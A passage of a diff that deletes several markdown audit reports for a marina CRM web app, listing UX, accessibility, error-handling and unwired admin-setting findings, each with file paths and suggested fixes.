- **Why it matters:** Native alert blocks main thread, can't be styled, fires in tests without suppression.
|
||||
- **Suggested fix:** Replace with `toast.warning(...)` matching `client-list.tsx`.
|
||||
|
||||
### U-079: Icon-only buttons missing aria-label (5 sites)
|
||||
|
||||
- **Files:**
|
||||
- `src/components/notifications/notification-bell.tsx:65` (Bell icon button)
|
||||
- `src/components/files/file-grid.tsx:121` (MoreHorizontal "…" on file cards)
|
||||
- `src/components/admin/forms/form-template-list.tsx:102` (Trash button)
|
||||
- `src/components/email/email-accounts-list.tsx:159` (Trash button)
|
||||
- `src/components/companies/company-members-tab.tsx:228` (MoreHorizontal)
|
||||
- **Pattern reference (correct):** `src/components/shared/folder-actions-menu.tsx:96` uses `<span className="sr-only">More folder actions</span>`.
|
||||
- **Suggested fix:** Add `aria-label` to each, following the folder-actions-menu sr-only pattern.
|
||||
|
||||
---
|
||||
|
||||
## 🟡 MEDIUM
|
||||
|
||||
### U-009: Audit log inline div instead of EmptyState component
|
||||
|
||||
- **File:** `src/components/admin/audit/audit-log-list.tsx:524`
|
||||
- **What:** `<div><p className="text-muted-foreground">No audit log entries found.</p></div>` rather than `<EmptyState title="..." />`.
|
||||
- **Suggested fix:** Replace with `<EmptyState title="No audit log entries found." />`.
|
||||
|
||||
### U-010: Two duplicate EmptyState components with incompatible APIs
|
||||
|
||||
- **Files:** `src/components/ui/empty-state.tsx` vs `src/components/shared/empty-state.tsx`
|
||||
- **What:** `ui/` accepts `{icon: ReactNode, body, actions}`; `shared/` accepts `{icon: ElementType, description, action: {label, onClick}}`. 3 files use `ui/` (admin/reconcile-queue, documents/documents-hub, reservations/reservation-detail), 24 use `shared/`.
|
||||
- **Suggested fix:** Pick `shared/` as canonical (8× usage); migrate the 3 `ui/` callers and delete `ui/empty-state`.
|
||||
|
||||
### U-021: Required-field marker inconsistent
|
||||
|
||||
- **Files:** `src/components/clients/client-form.tsx:273`, `src/components/interests/interest-form.tsx:281`
|
||||
- **What:** Some fields use inline `*`, others have no marker; no `aria-required` on inputs; no consistent pattern.
|
||||
- **Suggested fix:** Single pattern: `<Label>Field <span aria-hidden>*</span></Label>` + `aria-required="true"` on input.
|
||||
|
||||
### U-022: Help-text discoverability inconsistent
|
||||
|
||||
- **File:** `src/components/shared/filter-bar.tsx`, `src/components/clients/client-form.tsx`
|
||||
- **What:** No tooltip pattern; some fields have always-visible muted-foreground hints, some have nothing.
|
||||
- **Suggested fix:** Document a rule (always-visible for constraints/format hints; tooltips only for icons).
|
||||
|
||||
### U-024: Cancel/dismiss without unsaved-changes warning on ClientForm/YachtForm
|
||||
|
||||
- **Files:** `src/components/clients/client-form.tsx`, `src/components/yachts/yacht-form.tsx`
|
||||
- **What:** `InterestForm.requestClose()` (line 123) checks `isDirty` and shows discard AlertDialog; `CompanyForm` also has it. ClientForm and YachtForm don't — sheet closes immediately.
|
||||
- **Suggested fix:** Add `isDirty` guard + discard AlertDialog matching InterestForm pattern.
|
||||
|
||||
### U-031: FileUploadZone size limit not surfaced as client-side check
|
||||
|
||||
- **File:** `src/components/files/file-upload-zone.tsx:170`
|
||||
- **What:** Accept attribute lists extensions; "up to 50MB" copy at line 163; no client-side size check before upload. Server-side check fails silently with "Upload failed" at line 103.
|
||||
- **Suggested fix:** Wire client-side size check before upload; show clear "File too large" message.
|
||||
|
||||
### U-044: No jump-to-page input in pagination
|
||||
|
||||
- **File:** `src/components/shared/data-table.tsx:420`
|
||||
- **Suggested fix:** Add small `<input type="number">` between Previous/Next.
|
||||
|
||||
### U-048: No column resize/reorder on DataTable
|
||||
|
||||
- **File:** `src/components/shared/data-table.tsx`
|
||||
- **What:** Visibility supported via `ColumnPicker`; widths fixed; no drag-reorder.
|
||||
- **Suggested fix:** Opt-in `enableColumnResizing` per table via TanStack Table v8 `onColumnSizingChange`.
|
||||
|
||||
### U-069: Invoice delete uses custom overlay, not AlertDialog
|
||||
|
||||
- **File:** `src/app/(dashboard)/[portSlug]/invoices/page.tsx:167`
|
||||
- **What:** Hand-rolled `<div className="fixed inset-0 bg-background/80 backdrop-blur-xs z-50 ...">` rather than `<AlertDialog>` / `<ConfirmationDialog>`. Lacks focus trap, Escape, role="alertdialog".
|
||||
- **Suggested fix:** Replace with `<ConfirmationDialog>` matching pattern elsewhere.
|
||||
|
||||
### U-074: Success toast missing on ClientForm + InterestForm create/edit
|
||||
|
||||
- **Files:** `src/components/clients/client-form.tsx:215`, `src/components/interests/interest-form.tsx:235`
|
||||
- **What:** `onSuccess` invalidates queries + closes sheet, no `toast.success()`. `ComposeDialog.onSuccess:81` does fire one.
|
||||
- **Suggested fix:** `toast.success(isEdit ? 'Client updated' : 'Client created')`.
|
||||
|
||||
### U-080: Logo preview `<img alt="">` should describe state
|
||||
|
||||
- **File:** `src/components/admin/shared/settings-form-card.tsx:420`
|
||||
- **Suggested fix:** Use `alt="Port logo preview"` or dynamic from field label.
|
||||
|
||||
### U-081: Heading hierarchy inconsistent within tab components
|
||||
|
||||
- **Files:** `email-accounts-list.tsx:114`, `interest-contract-tab.tsx:130/251/291/364` (h2 → h3 → h2 jumps)
|
||||
- **Suggested fix:** Audit each tab; standardize h2 = primary section, h3 = sub-section; never h2 after h3 at same nesting depth.
|
||||
|
||||
### U-086: DialogContent missing aria-describedby on minimal-content dialogs
|
||||
|
||||
- **File:** `src/components/email/compose-dialog.tsx:95` and ~40 other dialogs
|
||||
- **What:** Only `file-preview-dialog.tsx:82` explicitly suppresses the Radix warning.
|
||||
- **Suggested fix:** Add `<DialogDescription className="sr-only">...</DialogDescription>` or `aria-describedby={undefined}` to suppress.
|
||||
|
||||
### U-091: Mobile topbar title blank on list pages
|
||||
|
||||
- **Files:** `client-list.tsx`, `yacht-list.tsx`, `interest-list.tsx`, `berth-list.tsx`
|
||||
- **What:** `useMobileChrome` only called from detail pages. List pages leave topbar in fallback (no title, stale from previous detail page).
|
||||
- **Suggested fix:** Add `useMobileChrome({ title, showBackButton: false })` per list with cleanup pattern.
|
||||
|
||||
### U-093: Invoices missing from mobile navigation
|
||||
|
||||
- **File:** `src/components/layout/mobile/more-sheet.tsx:54`
|
||||
- **What:** Not in `MORE_GROUPS`, not in bottom tabs. Mobile users can only reach via direct URL.
|
||||
- **Suggested fix:** Add `{ label: 'Invoices', icon: FileText, segment: 'invoices' }` to Operations group.
|
||||
|
||||
---
|
||||
|
||||
## ✅ Sample passing checks
|
||||
|
||||
- U-001-008 list empty states + skeletons clean across clients/yachts/interests/berths/companies/reservations/invoices/email-threads
|
||||
- U-012 FileUploadZone drag-hover with `border-primary bg-primary/5`
|
||||
- U-023 field-level errors via react-hook-form `formState.errors` consistent
|
||||
- U-026 BulkAddBerthsWizard + CatchUpWizard persist state across step nav
|
||||
- U-027 phone E.164 via `formatAsYouType` emits `{ e164, country }`
|
||||
- U-029 native `<input type="date">` provides browser calendar + keyboard
|
||||
- U-033 Combobox keyboard nav inherited from Radix `<Command>` primitives
|
||||
- U-040 Sort indicators via `getSortIcon` (`ArrowUpDown`/`ArrowUp`/`ArrowDown`)
|
||||
- U-041/042 Filter chip dismiss + Clear-all in FilterBar
|
||||
- U-043 page size selector 25/50/100/250/All
|
||||
- U-049 virtual list via `@tanstack/react-virtual` (`virtual virtualHeightPx={640}` in audit log)
|
||||
- U-054 STAGE_BADGE in `src/lib/constants.ts:100` — 7 distinct stages with distinct Tailwind colour families
|
||||
- U-055 outcome badge: won=emerald, lost\_\*=rose, cancelled=slate
|
||||
- U-057 status-pill covers all required document statuses
|
||||
- U-060/061 button hierarchy + destructive red consistent
|
||||
- U-065 Sheet used for forms+previews on both desktop and mobile (23 components)
|
||||
- U-067 AlertDialog used for destructive confirmations (`useConfirmation`, `ArchiveConfirmDialog`, `ConfirmationDialog`, `BulkHardDeleteDialog`)
|
||||
- U-070-072 click-outside, Esc, focus-trap, focus-restore all inherited from Radix
|
||||
- U-073 toast position consistent (sonner top-right)
|
||||
- U-075 `toastError()` (`src/lib/api/toast-error.ts:43`) surfaces requestId + Copy ID action — used in 89 files
|
||||
- U-094 iOS safe-area-inset comprehensive (`pb-safe-bottom`, `pt-safe-top`, FAB `calc(env(safe-area-inset-bottom)+86px)`)
|
||||
- U-097 visualViewport handling on mobile-search-overlay
|
||||
- U-092 More sheet covers Documents/Interests/Yachts/Companies/Residential/Alerts/Reminders/Expenses/Reservations/Reports/Analytics/Settings/Admin
|
||||
@@ -1,223 +0,0 @@
|
||||
# Frontend audit — 2026-05-06
|
||||
|
||||
Scope: new archive/restore/hard-delete dialogs, bulk archive wizard, client
|
||||
detail header, audit log inspector, webhook delivery log, client list bulk
|
||||
section. Companion to `docs/audit-comprehensive-2026-05-06.md` (does NOT
|
||||
re-flag the Files-tab / reservations / berth-tab "coming soon" stubs already
|
||||
covered there).
|
||||
|
||||
---
|
||||
|
||||
## Critical
|
||||
|
||||
### C1 — `client-detail-header` opens restore dialog from the Archive icon for archived clients
|
||||
|
||||
**File:** `src/components/clients/client-detail-header.tsx:174-186`
|
||||
|
||||
**Scenario:** On an archived client the icon button still renders `<Archive>`
|
||||
when `isArchived` is true (`isArchived ? <RotateCcw /> : <Archive />` is
|
||||
correct), BUT both states use the same `setArchiveOpen(true)` handler and
|
||||
the conditional below routes `<SmartRestoreDialog>` vs `<SmartArchiveDialog>`
|
||||
off of `isArchived`. That part is fine. The real problem: the destructive
|
||||
hover colour `hover:text-destructive` is applied via
|
||||
`isArchived ? 'hover:text-foreground' : 'hover:text-destructive'` — but the
|
||||
preceding class string already sets `hover:text-foreground` unconditionally,
|
||||
so the conditional is dead and the restore button hovers red the same as
|
||||
archive. Misleading colour signal on a reversible action; users hesitate to
|
||||
click it.
|
||||
|
||||
**Fix:** Drop the always-applied `hover:text-foreground` from the base class
|
||||
list and let the conditional own the hover colour, or just colour the
|
||||
restore icon emerald to differentiate.
|
||||
|
||||
---
|
||||
|
||||
## High
|
||||
|
||||
### H1 — `bulk-archive-wizard` lets users skip the reasons step by clicking Continue while preflight is loading then Cancel/reopen
|
||||
|
||||
**File:** `src/components/clients/bulk-archive-wizard.tsx:253-267, 80-107`
|
||||
|
||||
**Scenario:** In the `preflight` stage the Continue button is only disabled
|
||||
when `archivable.length === 0 || preflight.isLoading`. But `archivable` is
|
||||
derived from `items = preflight.data ?? []`. While loading, `archivable` is
|
||||
`[]` so Continue is disabled — good. After load with all-blocked selection,
|
||||
`archivable.length === 0` so still disabled — good. However, the
|
||||
`reasonsByClientId: reasons` payload is sent verbatim, so a user who advances
|
||||
to "reasons", types into one client's box, then uses the carousel back arrow
|
||||
and edits another, can submit reasons for clients NOT in `archivable` (e.g.
|
||||
if the preflight is refetched on stale-time). Reasons for blocked or removed
|
||||
client IDs are forwarded to the API. Minor data-quality issue.
|
||||
|
||||
**Fix:** Filter `reasons` to `archivable` IDs before mutating:
|
||||
`reasonsByClientId: Object.fromEntries(Object.entries(reasons).filter(([id]) => archivable.some(a => a.clientId === id)))`.
|
||||
|
||||
### H2 — `client-list` bulk tag mutation uses `alert()` for partial failures and has no `onError`
|
||||
|
||||
**File:** `src/components/clients/client-list.tsx:88-106`
|
||||
|
||||
**Scenario:** User bulk-adds a tag to 50 clients; backend returns 200 with
|
||||
`{succeeded: 30, failed: 20}` → user sees a native browser `alert()` blocking
|
||||
the page. If the request itself errors (network drop, 500), there is no
|
||||
`onError` so the dialog closes via `onSettled` and the user sees nothing —
|
||||
silent failure. Inconsistent UX vs. every other mutation in this audit which
|
||||
uses `toast`.
|
||||
|
||||
**Fix:** Replace `alert(...)` with `toast.warning(...)`, add an
|
||||
`onError: (err) => toast.error(...)` branch matching the pattern used in
|
||||
`bulk-archive-wizard.tsx` and `bulk-hard-delete-dialog.tsx`.
|
||||
|
||||
### H3 — `webhook-delivery-log` swallows fetch errors silently
|
||||
|
||||
**File:** `src/components/admin/webhooks/webhook-delivery-log.tsx:61-74`
|
||||
|
||||
**Scenario:** Admin opens a webhook detail page while the API is down or the
|
||||
webhook was just deleted. `load()` catches and discards the error
|
||||
(`} catch { /* ignore */ }`). UI shows "Loading deliveries…" forever on the
|
||||
first load, or stays on the last successful page on subsequent loads, with
|
||||
no indication that anything failed. No error state, no toast, no retry.
|
||||
|
||||
**Fix:** Surface errors via `toast.error` and show an inline error state
|
||||
("Couldn't load deliveries — Retry") instead of swallowing.
|
||||
|
||||
### H4 — `audit-log-list` first-page fetch swallows errors and shows no error state
|
||||
|
||||
**File:** `src/components/admin/audit/audit-log-list.tsx:150-175`
|
||||
|
||||
**Scenario:** Filter form is fully interactive, user changes a date — request
|
||||
fires, server 500s. The `try/finally` has no `catch`, so the rejected promise
|
||||
becomes an unhandled rejection. The list shows whatever was previously
|
||||
loaded (or empty state), and the user has no idea their filter didn't apply.
|
||||
Same applies to `loadMore`.
|
||||
|
||||
**Fix:** Add `catch` blocks that set an error state and render an inline
|
||||
error banner above the table, with a Retry button.
|
||||
|
||||
### H5 — `audit-log-card` renders as a link to `href="#"` — clicking jumps the page
|
||||
|
||||
**File:** `src/components/admin/audit/audit-log-card.tsx:96`
|
||||
|
||||
**Scenario:** On mobile / card view the audit log entries become clickable
|
||||
cards with `href="#"`. Tapping any card scrolls the page to top and inserts
|
||||
`#` in the URL (back-button trap). There's no detail view to navigate to.
|
||||
|
||||
**Fix:** Either render a non-link wrapper (button or div) when no detail
|
||||
target exists, or link to a useful destination like
|
||||
`/{portSlug}/{entityType}/{entityId}` when the entity is resolvable.
|
||||
|
||||
### H6 — `smart-archive-dialog` `archiveMutation` doesn't invalidate the dossier or single-client query
|
||||
|
||||
**File:** `src/components/clients/smart-archive-dialog.tsx:197-212`
|
||||
|
||||
**Scenario:** User archives a client successfully. The dialog invalidates
|
||||
`['clients']`, `['berths']`, `['interests']` but NOT
|
||||
`['client-archive-dossier', clientId]` nor `['clients', clientId]`. If the
|
||||
parent screen (e.g. detail page) keeps the client query mounted, the
|
||||
detail header continues to show the client as un-archived until a hard
|
||||
reload. The Restore icon won't appear.
|
||||
|
||||
**Fix:** Add `qc.invalidateQueries({queryKey: ['clients', clientId]})` and
|
||||
`qc.removeQueries({queryKey: ['client-archive-dossier', clientId]})` so a
|
||||
re-open re-fetches a fresh dossier (e.g. if user re-archives after restoring
|
||||
in the same session).
|
||||
|
||||
---
|
||||
|
||||
## Medium
|
||||
|
||||
### M1 — `smart-archive-dialog` derives `interestId` from a name match against `primaryBerthMooring` — wrong key
|
||||
|
||||
**File:** `src/components/clients/smart-archive-dialog.tsx:158-167`
|
||||
|
||||
**Scenario:** When building per-berth decisions the code does
|
||||
`dossier.interests.find((i) => i.primaryBerthMooring === b.mooringNumber)?.interestId`.
|
||||
Multiple interests can share the same primary mooring (rare, but possible
|
||||
historically), and worse, when no interest has this berth as primary it
|
||||
falls back to `dossier.interests[0]?.interestId` regardless of which berth
|
||||
is being decided. The wrong interest gets credited with the release, which
|
||||
is then audit-logged.
|
||||
|
||||
**Fix:** Have the dossier API return `interestId` per berth row (it already
|
||||
joins `interest_berths`), or look up by membership not by primary flag.
|
||||
|
||||
### M2 — `hard-delete-dialog` doesn't reset state when switching from intent → confirm if request fails midway
|
||||
|
||||
**File:** `src/components/clients/hard-delete-dialog.tsx:39-46, 64-79`
|
||||
|
||||
**Scenario:** User submits hard delete with wrong code → backend returns 400
|
||||
→ toast fires, but the dialog stays on `confirm` stage with the bad code
|
||||
still in the input and no clear cue. If the user then closes (X) and
|
||||
reopens, the `useEffect` resets correctly. But if the email code expired
|
||||
(10 min) and they request a fresh one, there's no "Resend code" button —
|
||||
they must cancel and start over from intent. Minor.
|
||||
|
||||
**Fix:** Add a "Send a new code" link in the confirm stage that calls
|
||||
`requestCode.mutate()` again and clears `code`.
|
||||
|
||||
### M3 — `bulk-hard-delete-dialog` doesn't refetch / invalidate after partial failure shows totals
|
||||
|
||||
**File:** `src/components/clients/bulk-hard-delete-dialog.tsx:64-85`
|
||||
|
||||
**Scenario:** Bulk delete returns `{deletedCount: 7}` for 10 selected; toast
|
||||
warns but `qc.invalidateQueries({queryKey: ['clients']})` is invalidated
|
||||
unconditionally — fine. However, the dialog closes immediately
|
||||
(`onOpenChange(false)`), so the user can't see WHICH 3 failed. The toast
|
||||
just says "see audit log". For a destructive bulk op this is too sparse;
|
||||
users will repeat the action thinking it didn't work.
|
||||
|
||||
**Fix:** Stay open on partial failure and render a list of failed IDs (the
|
||||
API likely already returns per-item results — if not, return them).
|
||||
|
||||
### M4 — `audit-log-list` doesn't validate that `dateFrom <= dateTo`
|
||||
|
||||
**File:** `src/components/admin/audit/audit-log-list.tsx:142-146`
|
||||
|
||||
**Scenario:** User picks From=2026-06-01, To=2026-05-01. Query fires with an
|
||||
empty result range; user sees "No audit log entries found" and assumes
|
||||
their data isn't there. No client-side validation hint.
|
||||
|
||||
**Fix:** Show an inline warning "From date must be before To date" and skip
|
||||
the request when invalid.
|
||||
|
||||
### M5 — `bulk-archive-wizard` `Cancel` during `archiveMutation.isPending` discards mutation tracking
|
||||
|
||||
**File:** `src/components/clients/bulk-archive-wizard.tsx:248-251, 293-307`
|
||||
|
||||
**Scenario:** User clicks "Archive 50" → mutation in flight (10s) → user
|
||||
clicks Cancel. The dialog closes; the mutation continues server-side and
|
||||
its onSuccess fires later, showing a toast for an action the user thought
|
||||
they cancelled. Worse, the dialog is gone so they can't tell which clients
|
||||
got archived.
|
||||
|
||||
**Fix:** Disable Cancel while `archiveMutation.isPending`, or relabel to
|
||||
"Cancel (won't stop in-progress)" and keep the mutation visible.
|
||||
|
||||
---
|
||||
|
||||
## Low
|
||||
|
||||
### L1 — `audit-log-list` filter row overflows on narrow viewports
|
||||
|
||||
**File:** `src/components/admin/audit/audit-log-list.tsx:321-467`
|
||||
|
||||
**Scenario:** 8 filter controls (`Search` 288px, `Entity` 144px, `Action`
|
||||
176px, `Severity` 128px, `Source` 128px, `User id` 176px, `From` 144px,
|
||||
`To` 144px, total ~1330px) sit in a single `flex-wrap` row. At <1280px
|
||||
viewports they wrap onto multiple lines pushing the table down 200+px;
|
||||
at <640px (mobile) each control wraps onto its own line and the "Clear"
|
||||
button (`ml-auto`) lands on the wrong row.
|
||||
|
||||
**Fix:** Collapse rarely-used filters (User id / Severity / Source) into a
|
||||
"More filters" Popover for sm: viewports.
|
||||
|
||||
### L2 — `audit-log-card` action map missing entries silently fall back to grey "Activity" icon and grey badge
|
||||
|
||||
**File:** `src/components/admin/audit/audit-log-card.tsx:27-44, 46-52`
|
||||
|
||||
**Scenario:** New webhook/cron/job actions are in `audit-log-list.tsx`
|
||||
ACTION_COLORS but absent from `audit-log-card.tsx` ACTION_BADGE_COLORS and
|
||||
ACTION_ACCENT. Card view of these entries looks identical to a generic
|
||||
"unknown" entry — visual loss vs. table view.
|
||||
|
||||
**Fix:** Sync the two maps; consider extracting to a shared module so they
|
||||
can't drift.
|
||||
@@ -1,405 +0,0 @@
|
||||
# Missing-Features Audit — 2026-05-06
|
||||
|
||||
Focused pass on **features that look done in the UI but aren't fully
|
||||
wired through the service layer**, plus **admin settings exposed to
|
||||
users that no code reads**. Companion to
|
||||
`docs/audit-comprehensive-2026-05-06.md` — the three "coming soon" stubs
|
||||
already documented there (client Files tab, client reservations history,
|
||||
berth tabs), the import-worker stub, the two interest-form TODOs, and
|
||||
the EOI "Price: TBD" finding are NOT re-flagged here.
|
||||
|
||||
Hard cap: 12 findings. Severity tiers below.
|
||||
|
||||
---
|
||||
|
||||
## VISIBLE-BROKEN (admin sees a control, click is a no-op or wrong)
|
||||
|
||||
### V1. 6 of 8 admin-editable email subject overrides are silently ignored at send time
|
||||
|
||||
**Files:**
|
||||
|
||||
- `src/components/admin/email-templates-admin.tsx:24-72` (UI)
|
||||
- `src/lib/email/template-catalog.ts:16-25` (catalog of 8 keys)
|
||||
- `src/lib/services/portal-auth.service.ts:120-127, 332-339` (the only
|
||||
consumers of `loadSubjectOverride`)
|
||||
|
||||
The `/admin/email-templates` page lets an admin override the subject
|
||||
line on **eight** transactional templates:
|
||||
`portal_activation`, `portal_reset`, `portal_invite_resend`,
|
||||
`crm_invite`, `inquiry_client_confirmation`,
|
||||
`inquiry_sales_notification`, `residential_inquiry_client_confirmation`,
|
||||
`residential_inquiry_sales_alert`. The save endpoint persists each one
|
||||
to `system_settings` (`email_template_<key>_subject`).
|
||||
|
||||
Only **two** of those eight are ever read at send time —
|
||||
`portal_activation` and `portal_reset` in `portal-auth.service.ts`.
|
||||
A repo-wide search for `loadSubjectOverride` / `settingKeyForSubject`
|
||||
returns no other consumers. The other six templates use their hardcoded
|
||||
subject regardless of the admin override.
|
||||
|
||||
**Impact:** sales/ops teams will customize an inquiry confirmation
|
||||
subject, hit Save, see the "Overridden" badge, and silently ship the
|
||||
default subject to every prospect.
|
||||
|
||||
**Fix:** small per template — call `loadSubjectOverride(portId, key)`
|
||||
in each sender (`crm-invite.service.ts`, the inquiry sender, the
|
||||
residential inquiry sender, the portal-invite-resend path) and pass the
|
||||
result through as the email subject.
|
||||
|
||||
**Scope:** small (5 callsites + tests).
|
||||
|
||||
---
|
||||
|
||||
### V2. Branding admin (logo / app name / primary color / email header & footer HTML) saves to settings but no code reads them
|
||||
|
||||
**Files:**
|
||||
|
||||
- `src/app/(dashboard)/[portSlug]/admin/branding/page.tsx:7-46` — UI
|
||||
with five fields.
|
||||
- `src/lib/services/port-config.ts:240-272` — `getPortBrandingConfig()`
|
||||
resolves the five `branding_*` settings into a typed config.
|
||||
- Repo-wide: `getPortBrandingConfig` has **zero callers** outside its
|
||||
declaration. The five `SETTING_KEYS.branding*` constants are only
|
||||
read inside `getPortBrandingConfig` itself.
|
||||
|
||||
The admin panel is functional end-to-end (write hits the settings API,
|
||||
"Reset to default" works), and the email-templates module hardcodes
|
||||
`s3.portnimara.com/...` for the logo URL plus a fixed table layout.
|
||||
None of the email-rendering helpers (`renderEmail`, the template
|
||||
modules in `src/lib/email/templates/`) call `getPortBrandingConfig`,
|
||||
and the `<BrandedAuthShell>` component sources its logo + colors from
|
||||
constants too.
|
||||
|
||||
**Impact:** every multi-tenant assumption made about branding is
|
||||
broken. A second port wired into this CRM will see Port Nimara's logo
|
||||
|
||||
- colors in every transactional email and on the auth pages, even
|
||||
after their admin "configures branding" successfully.
|
||||
|
||||
**Fix:** plumb `getPortBrandingConfig(portId)` through the email
|
||||
renderer (header/footer HTML + primary button color), and through
|
||||
`<BrandedAuthShell>` via a server-fetched prop.
|
||||
|
||||
**Scope:** medium (touches every transactional email + auth shell).
|
||||
|
||||
---
|
||||
|
||||
### V3. Reminder admin page configures defaults that no service applies
|
||||
|
||||
**Files:**
|
||||
|
||||
- `src/app/(dashboard)/[portSlug]/admin/reminders/page.tsx:7-50` — UI
|
||||
for default-enabled, default-days, digest-enabled, digest-time,
|
||||
digest-timezone.
|
||||
- `src/lib/services/port-config.ts:284-306` —
|
||||
`getPortReminderConfig()` defines the schema.
|
||||
- Repo-wide: the keys (`reminder_default_*`, `reminder_digest_*`) and
|
||||
`getPortReminderConfig` have **zero callers**.
|
||||
|
||||
Same pattern as V2. The admin sets "enable reminders by default on new
|
||||
interests" → toggles to true → save succeeds → newly-created interests
|
||||
still default to `reminderEnabled=false`. The digest-time +
|
||||
timezone fields go nowhere — there is no scheduler that batches
|
||||
pending reminders into a daily digest.
|
||||
|
||||
**Impact:** the entire reminder UX is decorative. Sales reps think
|
||||
they configured a daily digest at 09:00 Europe/Warsaw, get
|
||||
fire-as-they-hit notifications instead.
|
||||
|
||||
**Fix:** wire `getPortReminderConfig` into (a) the interest-create
|
||||
service (defaults), (b) the maintenance/notifications worker that
|
||||
fires reminders (digest batching + delivery window). The `digest`
|
||||
behavior didn't exist before this audit — needs a new scheduled job.
|
||||
|
||||
**Scope:** medium (defaults are small, digest job is new code).
|
||||
|
||||
---
|
||||
|
||||
### V4. Portal dashboard "My Memberships" tile has no link, no destination page, and isn't reachable from nav
|
||||
|
||||
**Files:**
|
||||
|
||||
- `src/app/(portal)/portal/dashboard/page.tsx:58-63` — `<PortalCard
|
||||
title="My Memberships" ... icon={Building2} />` — note no `href`
|
||||
prop.
|
||||
- `src/components/portal/portal-nav.tsx:8-15` — six nav entries, no
|
||||
memberships.
|
||||
- Filesystem: `src/app/(portal)/portal/memberships/` does not exist.
|
||||
|
||||
The dashboard shows a count of "memberships" (companies the portal
|
||||
user belongs to) but the tile is non-clickable and there is no
|
||||
`/portal/memberships` route. A user with 3 memberships sees the tile,
|
||||
clicks → nothing happens.
|
||||
|
||||
**Impact:** dead-end on the portal home for any client tied to a
|
||||
company (the residential and yacht-ownership use-cases).
|
||||
|
||||
**Fix:** ship `/portal/memberships/page.tsx` listing the companies
|
||||
returned by the existing `companyMemberships` query (already
|
||||
aggregated in `getPortalDashboard`), and add it to `PortalNav`. Or
|
||||
pull the tile if memberships isn't a portal feature.
|
||||
|
||||
**Scope:** small.
|
||||
|
||||
---
|
||||
|
||||
### V5. Company detail page Documents tab is a "Coming soon" stub
|
||||
|
||||
**File:** `src/components/companies/company-tabs.tsx:230-234`
|
||||
|
||||
```ts
|
||||
{
|
||||
id: 'documents',
|
||||
label: 'Documents',
|
||||
content: <EmptyState title="Documents" description="Coming soon" />,
|
||||
},
|
||||
```
|
||||
|
||||
Visible alongside the working Notes / Activity / Addresses / Members
|
||||
tabs on every company detail page. NOT covered by the existing audit
|
||||
doc's H7 (which lists clients, client reservations, and berths).
|
||||
|
||||
**Impact:** the same UX problem H7 calls out for clients.
|
||||
|
||||
**Fix:** mirror what client-Files-tab needs — query `documents` joined
|
||||
to a polymorphic billing-entity = company link, render a list, ship a
|
||||
download button. Or hide the tab.
|
||||
|
||||
**Scope:** small to medium.
|
||||
|
||||
---
|
||||
|
||||
## HALF-WIRED (the page works but the surrounding promise overstates it)
|
||||
|
||||
### V6. "Onboarding" admin page is a static checklist, not the wizard the page itself promises
|
||||
|
||||
**File:** `src/app/(dashboard)/[portSlug]/admin/onboarding/page.tsx`
|
||||
|
||||
The page renders 8 stepwise links and explicitly says (lines 71-72,
|
||||
98-110): "The future onboarding wizard will track progress per port…",
|
||||
"What this page will become", "The wizard will record completion per
|
||||
port in `system_settings`, gate the public marketing-site cutover…".
|
||||
|
||||
The admin landing card describes it as the "Initial-setup wizard for
|
||||
fresh ports" — admins clicking through expect a wizard, get a static
|
||||
table of contents.
|
||||
|
||||
**Impact:** the only "fresh port" workflow doesn't exist; cutover
|
||||
gating logic mentioned in the page body is also unimplemented.
|
||||
|
||||
**Fix:** either (a) build the wizard with progress in `system_settings`
|
||||
|
||||
- banner integration, or (b) re-label both this page and the admin
|
||||
landing card to "Setup checklist" so expectations match reality.
|
||||
|
||||
**Scope:** large for the wizard; tiny for the relabel.
|
||||
|
||||
---
|
||||
|
||||
### V7. Backup & Restore admin page is informational only — admin landing card promises actions
|
||||
|
||||
**Files:**
|
||||
|
||||
- `src/app/(dashboard)/[portSlug]/admin/backup/page.tsx`
|
||||
- `src/app/(dashboard)/[portSlug]/admin/page.tsx:148` — landing card
|
||||
description: "Database snapshots and on-demand exports."
|
||||
|
||||
The landing card sells "on-demand exports". The actual page renders a
|
||||
two-card explainer: "Current backup posture" (read-only) and "What
|
||||
this page will become" (the entire interactive surface — list
|
||||
snapshots, "Take backup now" button, per-port logical export, restore
|
||||
preview, GDPR per-client export). None of those exist.
|
||||
|
||||
**Impact:** the "Backup & Restore" tile is functionally a docs page.
|
||||
Compliance officers / users expecting a self-serve GDPR export
|
||||
button have to file a support ticket.
|
||||
|
||||
**Fix:** match the language on the landing card to the page reality
|
||||
("Backup posture" → docs only) until the snapshot/export buttons
|
||||
ship. The maintenance worker already runs `database-backup` (per
|
||||
`docs/audit-comprehensive-2026-05-06.md` C1 — though that worker isn't
|
||||
imported), so wiring "Take backup now" against the existing job is
|
||||
small once C1 is fixed.
|
||||
|
||||
**Scope:** small (doc tweak) or medium (button + per-port export
|
||||
endpoint).
|
||||
|
||||
---
|
||||
|
||||
### V8. Inquiry inbox is read-only — no "Convert to Client" / "Mark resolved" / "Assign" actions
|
||||
|
||||
**File:** `src/components/admin/inquiry-inbox.tsx` (entire file, 207
|
||||
lines, ends at the View payload toggle)
|
||||
|
||||
The inbox lists website-form submissions (berth_inquiry,
|
||||
residence_inquiry, contact_form) with filter chips and a
|
||||
"View payload" expand. There is no action to:
|
||||
|
||||
- create a client/interest from the submission,
|
||||
- assign the inquiry to a sales rep,
|
||||
- mark it resolved / triaged,
|
||||
- reply directly,
|
||||
- archive or trash the row,
|
||||
- export.
|
||||
|
||||
The `website_submissions` table appears to be permanent — every
|
||||
inquiry ever received remains in the inbox forever, with no triage
|
||||
state. Sales has to manually copy the email into a new client form
|
||||
and back-reference the original submission.
|
||||
|
||||
**Impact:** the inquiry-to-pipeline conversion step isn't supported in
|
||||
the CRM. The marketing-site cutover (per the user's
|
||||
`project_email_ownership_at_cutover.md` memory) will increase volume
|
||||
on this surface and make the missing triage UX painful.
|
||||
|
||||
**Fix:** add a per-submission "Convert" action that prefills the
|
||||
client + interest forms with the payload, plus a `triage_state`
|
||||
column (open / converted / dismissed) and a default filter that hides
|
||||
non-open rows.
|
||||
|
||||
**Scope:** medium.
|
||||
|
||||
---
|
||||
|
||||
## MOBILE PARITY
|
||||
|
||||
### V9. Mobile More-sheet is missing several real top-nav destinations
|
||||
|
||||
**File:** `src/components/layout/mobile/more-sheet.tsx:38-50`
|
||||
|
||||
`MORE_ITEMS` lists 11 entries. The dashboard route directory has at
|
||||
least these top-level segments not represented anywhere in the mobile
|
||||
bottom-tabs OR more-sheet:
|
||||
|
||||
- `residential` — exists at `/[portSlug]/residential/...`
|
||||
- `notifications` — exists at `/[portSlug]/notifications/...`
|
||||
- `berth-reservations` — exists at `/[portSlug]/berth-reservations/...`
|
||||
